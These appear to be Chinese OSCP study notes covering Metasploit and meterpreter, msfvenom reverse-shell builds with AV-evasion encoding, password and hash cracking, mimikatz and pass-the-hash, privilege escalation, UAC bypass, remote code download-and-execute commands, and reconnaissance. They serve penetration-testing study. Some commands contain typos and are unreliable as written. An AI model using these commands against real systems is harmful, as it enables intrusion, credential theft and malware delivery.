OSCP学习笔记(14)——Metasploit

Metasploit framework简称msf是一个全流程的渗透测试框架
一般来说有如下的几类模块
1. Payload模块:Payload模块是一种主要用于攻击的模块,它们包含可以在目标系统上执行的恶意代码。Payload模块可以用来获取远程访问权限、执行命令、窃取数据等。
2. Exploit模块:Exploit模块是一种用于利用漏洞的模块,它们可以通过利用目标系统上的漏洞来执行攻击。Exploit模块通常需要与Payload模块一起使用,以便在目标系统上执行恶意代码。
3. Auxiliary模块:Auxiliary模块是一种用于执行辅助任务的模块,它们可以用于扫描目标系统、收集信息、执行漏洞验证等。Auxiliary模块通常不需要与Payload或Exploit模块一起使用,因为它们不涉及攻击目标系统。
4. Post模块:Post模块是一种用于在目标系统上执行后期攻击的模块,它们可以用于在成功攻击目标系统后执行各种任务,例如窃取密码、收集数据、横向移动等。
5. Encoder模块:Encoder模块是一种用于混淆Payload模块的模块,以便绕过安全防御系统。Encoder模块通常与Payload模块一起使用。
6. NOP模块:NOP模块是一种用于在Payload模块中插入NOP(No Operation)指令的模块,以便在缓冲区溢出攻击中对目标系统进行填充。

msfdb run
#msfdb init初始化
msfconsole -q
#进入控制台
show -h
#查看所有模块分类
search <NAME>
#搜索漏洞
uss <NAME>
#使用某个模块
show options
#查看当前模块参数
show targets
#查看目标主机
info
#查看模块信息
set <KEY> <VALUE>
#设置参数set、unset、setg、unsetg
check
#验证漏洞
show missing
#查看当前模块缺失的参数
run/exploit [-j后台]
#执行当前模块
back
#返回上一层
db_nmap
#调用msf中的namp进行扫描
services [-p {PORT}筛选端口] [-S {NAME}筛选服务]
#查看db_namp等扫描控制器获取到信息
creds
#查看已获得的身份信息
sessions [-l列表] [-i {NUM}返回]
#查看目前会话/切换会话
route add 192.168.1.0/24 [SESSION_ID]
route print
#添加路由(msf里面)
use auxiliary/scanner/portscan/tcp
#扫描内网
use multi/manage/autoroute
#会话穿透内网
use auxiliary/server/socks_proxy
#打开socks代理
msfconsole -r setup.rc
#自动化配置

Payload还可以配合一些参数进行自动化攻击

set AutoRunScript windows/gather/enum_logged_on_users
#设置PayLoad自动执行获取用户

对于meterpreter的shell还有很多特殊用法

help
#meterpreter的shell可以使用help查看更多信息
background
#退出当前shell
sysinfo
#系统信息
getuid
#查看账户权限
getpid
#目前后门的进程id
ps
#获取进程列表
migrate [PID]
#迁移到别的进程
upload [SOURCE] [TARGET]
download [SOURCE] [TARGET]
#上传下载文件,Windows要双斜线
shell
#进入shell
execute
#执行程序
transport list
#查看当前会话的可以协议
transport add -t reverse_tcp [-l {HOST}] [-p {PORT}]
#会话中添加新的传输协议,并指定传输类型(需要在use multi/handler设置新的监听器)
transport next
#切换到新的协议
screenshot
#截图
keyscan start
keyscan stop
#键盘记录
load powershell
#加载powershell
search bypassuac
#可以通过exploit绕过UAC
load kiwi
#加载kiwi模块,与密码相关,help可以查看新模块
getsystem
#以SYSTEM身份运行
creds_all
#下载所有用户hash

msfvenom生成包含payload的可执行程序

msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f exe -e x86/shikata_ga_nai -o shell_reverse.exe
#生成一个Windows反弹Shell的可执行文件,并使用Encoder模块x86/shikata_ga_nai来绕过基于特征码的AV检测
msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f exe -e x86/shikata_ga_nai -i 4 -x Trust.exe -o shell_reverse.exe
#将生成的Payload注入到一个可信PE文件中,例如,并生成一个新文件:

OSCP学习笔记(11)——密码攻击

常见的信息收集手段
1. 字典攻击
2. 提取密码HASH(明文、PtH碰撞)
3. 信息收集

字典攻击

KaliLinux中包含着密码字典

/usr/share/wordlists
/usr/share/seclist

专属字典生成

cewl <URL/FILE> [-m {NUM}最小长度] [-w {OUTPUT}输出文件]
#从指定URL/FILE生成字典
john [--wordlist={DIRCTY}待变形字典] --rules [--stdout {OUTPUT}输出文件]
#字典变形

暴力破解

crunch 8 8 -t ,@@^^@@@
#掩码生成8位密码,分别是1大写2小写2符号3数字

Medusa

medusa -d
#支持的模块
medusa -M http -q
#模块的参数和使用方法
medusa -h <HOST> -u <USER> -P rockyou.txt -M http -m DIR:/admin
#HTTP协议爆破示例

Crowbar

SSH公钥认证和RDP密码破解

apt install crowbar
#APT安装
crowbar -b rdp -s 192.168.1.0/24 -u <USERNAME> -C rockyou.txt -n 1
#以RDP协议,以admin位用户名,单线程破解192.168.1.0网段的密码

Hydra

和Medusa类似

hydra -l <USERNAME> -p rockyou.txt ssh://<HOST>
#爆破SSH密码
hydra <HOST> http-form-post '/from/index.php:user=<USERNAME>&pass=^PASS^:INVALID LOGIN" -l <USERNAME> -P rockyou.txt -vV -f
#INVALID LOGIN为判断条件字符串,判断是否成功

哈希攻击

将任意长度的内容通过哈希变成长度固定的指纹,理论上无逆向可能,但可以通过明文,PtH碰撞等方式进行哈希攻击

Linux

Openwall-HASH类型检测
也可以通过Hashid识别

hashid <HASH>

一般来说有如下构成如下
1.
“`$6“`使用SHA-512
其中1为MD5,5为SHA-256
可以指定数字生成对应的密钥

openssl passwd -NUM <PASS>
  1. “`$Rw99zZ2B“`加盐

Windows

Windows的密码存储在SAM文件中
由于Windows内核独占锁定SAM数据库,在运行过程中无法拷贝SAM文件
但是可以通过mimikatz进行dump hash,提取本地安全机构子系统(LSASS,SYSTEM用户运行的权限进程)进程内存中缓存的密码哈希(需要管理员权限)

minikatz.exe
#进入minikatz
privikege::debug
#进入debug模式,可以修改其他进程
sekurlsa::logonpasswords
#读取内存中hash
token::elevate
#从高完整性提升到SYSTEM完成性
lsadump::sam
#dump sam数据库

通过PtH(Pass the HASH)攻击NTLM哈希值
中间人抓取并重放HASH

pth-winexe -U <username>%<LM>:<NTLM> //<HOST> cmd
#老版本windows
crackmapexec smb -u <USER> -h <HASH> -d . -x "CMD" <HOST>
impacket-wmiexec <USER>@<HOST> -hashes 00000000000000000000000000000000:<HASH>

暴力破解

Windows

由于Windows的哈希是不加盐的,所以可以通过爆破找出原文

vi hash.txt
#可同时爆破多个hash
john hash.txt --format=NT
john --wordlist=rockyou.txt hash.txt --format=NT
john --rules --wordlist=rockyou.txt hash.txt --format=NT

Linux

unshadow /etc/passwd /etc/shadow > unshadowed.txt
#生成破解文件
john --rules --wordlist=rockyou.txt unshadowed.txt
#John多节点分布式密码破解(CPU)
--fork 8 --node=1-8/16
--fork 8 --node=9-16/16
#以八进程运行,将字典分割为16个部分,分别用两个节点计算1-8/9-16的两部分
hashcat64.exe -b #测速
#HASHCAT支持调用显卡(CPU+GPU)
hashcat -m 1000 -a 0 hash.txt rockyou.txt
#爆破NT(1000),以字典方式(0)

OSCP学习笔记(10)——本地提权

本地提权是指攻击者利用漏洞或其他手段获取本地系统的管理员权限或其他高权限,从而能够执行更多的操作,例如访问、修改、删除系统文件、安装恶意软件、窃取敏感信息等。
常见的提权思路有:
1. 服务配置错误
2. 文件或服务权限漏洞
3. 内核漏洞
4. 高权限运行的服务漏洞
5. 敏感信息泄漏
6. 总是在执行二进制文件之前提升特权的系统设置
7. 脚本中包含硬编码的凭证,以及许多其他内容

手动枚举

枚举用户账号

whoami
#通用
id
who
w
#Linux

查看用户组

net user <USERNAME>
#Windows
id
who
#Linux

查看其他账号

net user
#Windows
cat /etc/passwd
#Linux

查看主机名

hostname
#通用

系统版本和架构

systeminfo
#Windows
cat /etc/*-release
cat /etc/issue
uname -a
#Linux

枚举进程、服务

tasklist /SVC
#Windows
ps axu
#Linux

网络配置

ipconfig /all
ipconfig /displaydns #DNS缓存
route print
netstat -nao
#Windows
ip -a
/sbin/route
ss -anp
netstat -nr
#Linux

枚举防火墙规则

netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all
#Windows
iptables -L
ufw
#Linux

调度任务

schtasks /query /fo LIST /v
#Windows
Is -lah /etc/cron*
cat /etc/crontab
cat /var/log/cron
#Linux

枚举安装软件及补丁

wmic product get name,version,vendor #通过Windows Installer安装的
wmic qfe get Caption,Description,HotFixID,InstalledOn #系统范围的更新
#Windows
apt #Ubuntu、Debian
rom #red hat
dpkg -l #Debian
#Linux

枚举可读写文件目录

accesschk.exe -uws "Everyone" "<DIR>" #Sysinternals工具包
Get-ChildItem "<DIR>" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"} #Powershell,过滤字段可能需要改变
#Windows
find /-writable -type d 2>/dev/null
#Linux

挂载点

mountvol
#Windows
cat /etc/fstab
mount
#Linux

设备驱动和内核模块

driverquery.exe /v /fo csv
#Windows
lsmod
/sbin/modinfo <MODNAME>
#Linux

自动提升权限的二进制文件

reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer #存在1即任何用户都可以使用特权账户运行Windows安装包
#Windows
find / -perm -u=s -type f 2>/dev/null
#Linux

自动枚举

自动化检查脚本
PEASS-ng

TODO:实测一下

Windows权限系统

Windows从Vista开始进程运行在四个完整性级别上
1. 系统完整性进程:SYSTEM权限
2. 高完整性进程:Administrator权限
3. 中完整性进程:普通用户权限
4. 低完整性进程:权限严格受限,常用于沙箱进程

whoami /groups
#显示当前用户的完整性级别

需要通过UAC用户访问控制切换完整性界别

powershell.exe Start-Process cmd.exe -Verb runAs
#以Administer启用cmd

UAC绕过

UAC绕过只针对特定版本
常见的UAC绕过可通过fodhelper.exe(<Win10 build 1709)绕过

sigcheck.exe -a -m c:\windows\system32\fodhelper.exe
#利用Sysinternal中的工具包查看manifest,某些版本是requireAdministrator,并且auroElevate

fodhelper.exe的绕过可以有如下方法
使用Process Monitor检查该程序的执行过程
先启动procmon.exe,再运行fodhelper.exe,过滤筛选fodhelper.exe的执行操作
增加搜索Reg关键字的过滤规则,只显示fodhelper.exe的注册表相关操作
增加搜索NAME NOT FOUND报错消息过滤规则,表示fodhelper在访问不存在的注册表项
再将其筛选改成SUCCESS,表示已经访问到的键值
以此反复找到一个可以利用的注册表运行任意指令

文件权限漏洞

通过替换某些高权限的系统程序,植入后门

Get-WmiObject win32_service | Select-Object Name,State,PathName | Where-Object {$_.State -like 'Running'}
#查询所有服务路径
icacls "<FILE>'
#F为完全控制

服务路径未引号闭合

如果有空格的文件路径未用引号闭合将会以空格为分割,寻找可执行文件

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program  Files\My Program\My service\service.exe

内核漏洞

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
#检测系统版本、架构
driverquery /v
#检测驱动(可以通过exploitdb搜索已知漏洞)
type <DRIVERNAME>.inf
#查看驱动信息

Linux权限系统

文件权限漏洞

cron调度任务等脚本执行后门漏洞

/etc/passwd权限漏洞

如果文件全局可读写可添加管理员权限

内核漏洞

也同样可以通过exploitdb搜索已知漏洞

OSCP学习笔记(9)——防病毒规避

PE文件检测

PE(Portable Executable)可执行文件,该文件酱油Windows加载器执行代码、引用库、导入和导出API表等
检测方法一般如下
1. 基于字符特征的检测方法(静态)
2. 启发式检测方法(单步跟踪/静态分析)
3. 基于行为的检测方法(动态)

AV(Anti Virus)躲避技术

一般来说分磁盘/内存两种

磁盘

  1. 打包(修改特征码、减小体积)
  2. 混淆(花指令、重组等)
  3. 加密Crypters(改变可执行代码,在内存中执行加密文件)
  4. 软件保护(反逆向、反调试、虚拟机检测)

内存

一般流程如下
1. 利用Windows API向正常PE进程注入攻击代码
2. 获得目标进程Handle并分配空间
3. 将恶意代码注入到新分配内存中
4. 执行内存中的恶意代码

除此之外还有反射DLL注入技术、进程挖空技术、内连挂载技术等
下面有一种使用Powershell的内存注入方法
Todo:有空再补

Shellter

Windows下动态shellcode注入工具,在kali中使用时需要借助Wine环境
原理如下

对PE文件进行深入分析,将payload注入到另一个正常文件之中
改变PE文件的Section权限,并创建新的Section
使用现有的PE Import Address Table(IAT)条目来定位将用于内存分配、传输和执行负载的函数
省流:将Payload加载到一个正常的程序中

sudo apt install wine
sudo dpkg --add-architecture i386&apt update&apt -y install wine32
shellter

OSCP学习笔记(8)——传输文件

传输文件一般发生在后渗透测试阶段,即已经突破边界并在目标主机上获取初始低权限账户
一般的任务有:
1. 权限提升
2. 权限维持
3. 横向渗透

FTP

以pure-ftpd为例,安装并设置用户权限

apt install pure-ftpd
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null-s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
#这里的offsec是ftp账号,映射到系统账号ftpuser,并设置密码
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
systemctl restart pure-ftpd

非交互SHELL升级

利用python的pty模块可以获取伪终端

python =c 'import pty; pty.spawn("/bin/bash")'

针对bash还有其他方法获取完整功能终端

bash
#先让自己处于bash环境
python =c 'import pty; pty.spawn("/bin/bash")'
#先创建伪终端
^Z
#Ctrl+Z置入后台
stty raw -echo
#命令将终端设置为原始模式
fg
#按ctrl+z时,进程将挂起并停止。使用 fg,您可以将挂起的作业移动到前台,使用 bg,您可以在后台运行它。
export SHELL=/bin/bash
export TERM=screen
#这是Shell环境变量
stty rows 40 columns 128
#修改shell大小
reset
#重置终端的状态

Windows文件传输

Linux有curl、netcat、wget等文件,但是Windows上只默认包含FTP且无法获得交互终端
可以取巧使用文件传输指令

echo open <HOST> 21>ftp.txt
echo USER offsec>>ftp.txt
echo lab>>ftp.txt
echo bin >ftp.txt
echo GET nc.exe >ftp.txt
echo bye >ftp.txt
ftp -v-n -s:ftp.txt

也可以使用vbs/powershell脚本下载文件的

powershell.exe (New-Object System.Net.WebClient).DownloadFile('<URL>','<FILE>')
#下载文件并保存
powershell.exe TEX (New-Object System.Net.WebClient).DownloadString('<URL>')
#直接运行脚本

其他方法

certutil.exe -urlcache -split -f "<URL>" <FILE>
#Windows自带工具,需要在管理员权限的命令提示符或 PowerShell 终端中执行
rdesktop -u <USER> a.b.c.d -p <PASSWORD> -g 1200x900 -x 0x80 -r sound:local -r disk:LinuxPictures=<DIR>
#远程桌面连接同时挂载共享文件夹、建议别折腾,直接用Windows

上传文件也是可以的

powershell.exe (New-Object System.Net.WebClient).UploadFile('<URL>','<FILE>')

对应的PHP后端

<?php
    $uploaddir='/var/www/uploads/';
    $uploadfile $uploaddir.$_FILES['file']['name'];
    move_uploaded_file($_FILES['file']['tmp_name'],$uploadfile);
?>

文件混淆/绕过

压缩打包二进制文件

upx -9 nc.exe
#使用 UPX 压缩工具对 nc.exe 文件进行压缩,压缩级别为最高压缩比
exe2hex -x nc.exe -p nc.cmd
#将 nc.exe 文件转换为十六进制格式,并将结果输出到 nc.cmd 文件中
powershell nc.cmd
#在 PowerShell 终端中执行 nc.cmd 文件,这将导致 nc.exe 文件被解码并在系统中执行

OSCP学习笔记(7)——EXP收集、利用、修复

EXP搜索

可以通过一些联网数据库获得
Exploit-DB已知漏洞及POC等
Sync开源漏洞数据库
也可以通过kali自带的searchsploit查找(Exploit-db离线版)

searchsploit <NAME> <VERSION>

msf里面也有

msfconsole
search <NAME>

EXP利用

在msf/exploit-db中有一些ruby/python/lua/c的exp,使用之前需要修改、查看文件了解功能,更改参数
有可能存在同一漏洞、不同版本不同系统的EXP

EXP修复

  1. 缓存区溢出
    需要注意的有文件路径、IP地址、端口、URL、偏移量、返回地址、跳转指令
    对于不同系统的EXP可能需要mingw-64跨平台编译
apt install mingw-w64
i686-w64-mingw32-gcc -lws2_32 [INFILE] [-o {OUTFILE}] #x86架构编译并且链接lws2_32库
  1. WEB漏洞
    主要有下面几种
    a. 协议为HTTP/HTTPS
    b. 是否需要访问特定路径或路由
    c. 身份认证前是否可利用漏洞
    d. 清求方法为GET/POST
    c. 证书报错

OSCP学习笔记(6)——客户端攻击

客户端攻击即攻击客户端软件、邮件
例如:浏览器、PDF、OFFICE、邮件附件、恶意链接

Fingerprintjs

Fingerprintjs是一个浏览器指纹库,它可以查询浏览器的属性,并从中计算出一个哈希的访问者标识符。与Cookie和本地存储不同,指纹在隐私模式下和浏览器数据被清除时仍然保持不变。
Github-Fingerprintjs

<script>
  // Initialize the agent at application startup.
  const fpPromise = import('https://openfpcdn.io/fingerprintjs/v3')
    .then(FingerprintJS => FingerprintJS.load())
  // Get the visitor identifier when you need it.
  fpPromise
    .then(fp => fp.get())
    .then(result => {
      // This is the visitor identifier:
      const visitorId = result.visitorId
      console.log(visitorId)
    })
</script>

可以结合一些操作,把信息通过post等方法提交至指定服务端

HTA程序

HTA文件可以被IE作为HTML应用程序执行。兼容ActiveX,支持JavaScript、VBScript,执行任意程序
仅针对IE、Edge有效
可以如下通过msf生成该反弹shell目标载荷

msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f hta-psh -o <FILENAME>.hta

Office宏/嵌入对象

文档后缀为.doc或.docm
利用宏执行VBA代码,支持ActiveX、Windows脚本主机
也可以通过嵌入批处理文件/动态数据交换等功能启动任意程序

OSCP学习笔记(5)——缓冲区溢出

下面以x86架构为例

缓存结构


x86架构的计算机最多可管理4GB内存

堆栈

堆栈内存是以LIFO结构被CPU访问(Last-In,First-Out)
函数返回时需要读取返回地址
会存在堆栈溢出操作

CPU寄存器

x86寄存器指令为32位,4个字节,首个字节为操作符
EBP基指针(访问堆栈)<–一般来说程序访问临时变量就在这里
EIP指令指针(命令跳转)<–覆盖这个指令指针可以执行任意指令

Immunity Debugger

一个二进制程序调试器
可以通过断点等方式,跟踪程序执行过程,利用某些EIP指针实现命令执行

TODO:实操

OSCP学习笔记(4)——Web应用攻击

基本信息收集

在没有明确目标之前可以通过扫描器等形式获取目标相关信息
信息主要如下:
1. 功能
2. 开发语言
3. 服务端软件

Web枚举

  1. 识别目标系统技术栈
    a. 分析URL
    b. 浏览器信息
    c. 分析路由信息
    d. 相应头
  2. 选择对应技术栈的攻击载荷
    a. 编程语言和框架
    b. Web服务器软件
    c. 数据库软件
    d. 服务器操作系统

路径枚举

dirb内建字典,默认递归发现隐藏路径

dirb <{URL}/{FILE}> [-r非递归] [-z {TIME_MS}延时] [-X {.TYPE}枚举指定后缀] 

dirsearch查找隐藏文件和目录

python3 dirsearch.py -u <URL> -e <EXTENSIONS> -w <WORDLIST> -t <THREADS> -r -f -x <EXCLUDE_STATUS_CODES> -b
-u, --url: 要扫描的目标 URL。
-e, --extensions: 要扫描的文件扩展名,以逗号分隔。例如,-e php,txt 表示要扫描 php 和 txt 文件。
-w, --wordlist: 要使用的字典文件路径。
-t, --threads: 使用的线程数。
-r, --recursive: 递归扫描子目录。
-f, --full-url: 显示完整的 URL。
-x, --exclude-status-codes: 要排除的 HTTP 状态码,以逗号分隔。例如,-x 404,403 表示要排除 404 和 403 状态码。
-b, --bruteforce: 对目录进行爆破。

Xray有爬虫功能的路径扫描

xray webscan --basic-crawler <HOST> [--html-output {FILE}.html]

更多功能可以通过配置config.yaml等方式实现
Xray教程可以在其仓库docs.xray.cool查看

常见漏洞

XSS漏洞

beef-xss
可用与xss漏洞利用,与shell类似在目标中执行一个hook.js的后门以便后续操作

目录遍历(文件包含)

获得对服务端文件的未授权访问权,例如Web应用根目录之外的文件
攻击者可修改文件路径,便利读取文件内容,文件包含漏洞可执行代码
常见文件
“`/etc/passwd“`或“`c:\boot.ini“`

SQL注入

不再赘述
【SQLI】SQLI攻击与防护

OSCP学习笔记(3)——信息收集

被动信息收集

Whois信息

域名公开信息

whois [HOST]
#信息查询
whois [IP]
#IP反查

Web查询
站长之家

搜索引擎过滤器

Google Hacking Database

site:[HOST] filetype:<TYPE>
ext:<TYPE>
intitle:"<NAME>"

DNS信息搜索服务

Netcraft英国互联网公司
微步在线

Recon-ng信息收集框架

命令行聚合信息收集框架,KEY需要自己设置

recon-ng
marketplace search github
marketplace info [MODULE]
marketplace install [MODULE/ALL]
modules load [MODULE]

gitleaks静态代码校验

gitleaks是一个用于检测和防止git仓库中硬编码的秘密(如密码,api密钥,令牌等)的SAST(静态应用程序安全测试)工具。gitleaks可以作为命令行工具,github动作,预提交钩子或任何CI/CD中的扫描器使用。

gitleaks detect -v
#检测当前目录或指定源,以详细模式输出结果

网络空间搜索引擎/网络空间测绘

Shodan网络空间搜索引擎
fofa网络空间测绘
ZoomEye
Censys

代理平台

SSL Server Test
分析当前服务器的SSL/TLS配置并识别相关漏洞

主动信息收集

DNS枚举

host查询/脚本爆破

host [-t {TYPE}] [HOST]
host [IP] #反向PTR记录
for ip in $(cat list); do host $.[HOST];done | grep -v "not found"
#usr/share/seclists有字典

dnsrecon/dnsenum爆破枚举

dnsrecon -d [HOST] -t axfr
dnsrecon -d [HOST] [-D {DICT}] -t brt
dnsrecon -bykwsad [HOST]
dnsenum [HOST]
dnsenum [HOST] [-f {DICT}]

端口扫描

简单扫描可以使用netcat

nc [-nvv禁用DNS解析并启用详细输出] [-w {TIME(1)}超时] [-z {-u扫描UDP端口}{IP} {PORT1-PORT2}扫描]
#端口扫描

namp扫描器

nmap [-sn/sS/sT/sU] [IP]
nmap -v -sn [IP] [-oG {FILE}]
#NMAP探活:-sn用Ping(ARP/ICMP)/-sS半开连接/-sT全连接(代理)/-sU用UDP扫描
namp [-p默认端口/-p-全端口/-p{NUM1-NUM2}指定端口段] [IP]
#端口扫描
namp [-sV版本探测] [-A高级扫描] [==script={NAME}插件可用通配符] [IP]
#版本探测/高级扫描/插件,与-p参数联动

masscan互联网大规模扫描

masscanf [-p{PORT}] [IP] [--rate={SPEED}速度] [-e {ETH}网卡] [--route-ip {IP}指定网关]

SMB枚举(PORT:NetBIOS u137/u138/139、SMB 445)

Is -1 /usr/share/nmap/scripts/smb
#SMB服务相关脚本

#可能会直接打穿

NFS枚举(PORT:111/2049)

NAMP用相关NFS工具查询后可以挂载一些nolock的NFS共享

mount -o nolock [REMOTE]:[REMOTE_DIR] [LOCAL_DIR]

如果有权限不对的话
“`ll“`查看相关权限PID,在本地添加用户,修改相关PID,su对应用户即可

SMTP枚举(PORT:25)

#nc -nv [IP] 25
VRFY [USER]
#存在225,不存在550

SNMP协议(PORT:u161)

用于管理和监控网络设备、无状态,基于UDP,1、2、2C流量不加密,默认弱口令public/private
snmpwalk也可以用nmap的插件做替代

onesixtyone [-c {DICT_FILE}] [-i {IP_FILE}]
#扫描整个网段
snmpwalk -c public -v1 [-t {TIME}超时] [IP]
#枚举整个MB树
snmpwalk -c public -v1 [IP] 1.3.6.1.4.1.77.1.2.25
#枚举Windows用户
snmpwalk -c public -v1 [IP] 1.3.6.1.2.1.25.4.2.1.2
#枚举进程
snmpwalk -c public -v1 [IP]1.3.6.1.2.1.6.13.1.3
#枚举TCP端口
snmpwalk -c public -v1 [IP] 1.3.6.1.2.1.25.6.3.1.2
#枚举软件列表

枚举工具

AutoRecon

漏洞扫描

探活->端口探测->服务发现->指纹匹配
漏扫软件
Acunetix | Web Application Security Scanner
Nessus Vulnerability Assessment
Goby – Attack surface mapping
GVM Vulnerability Scanner

apt install gvm#安装
gvm-setup#设置
gvm-check-setup#验证
gvm-feed-update#更新
gvm-start#启动
gvm-stop#停止

Nikto(APT安装)
Nikto 是一款常用的 Web 服务器漏洞扫描工具,可以帮助用户快速发现 Web 服务器中存在的安全问题。本文将详细介绍 Nikto 的使用方法,包括安装、配置和基本操作等。

nikto -h [URL]
#-h:指定扫描的目标网站。
#-p:指定要扫描的端口号。
#-ssl:指定使用 SSL 连接扫描。
#-C all:启用所有的检测选项。
#-output:指定扫描结果输出的文件名。
=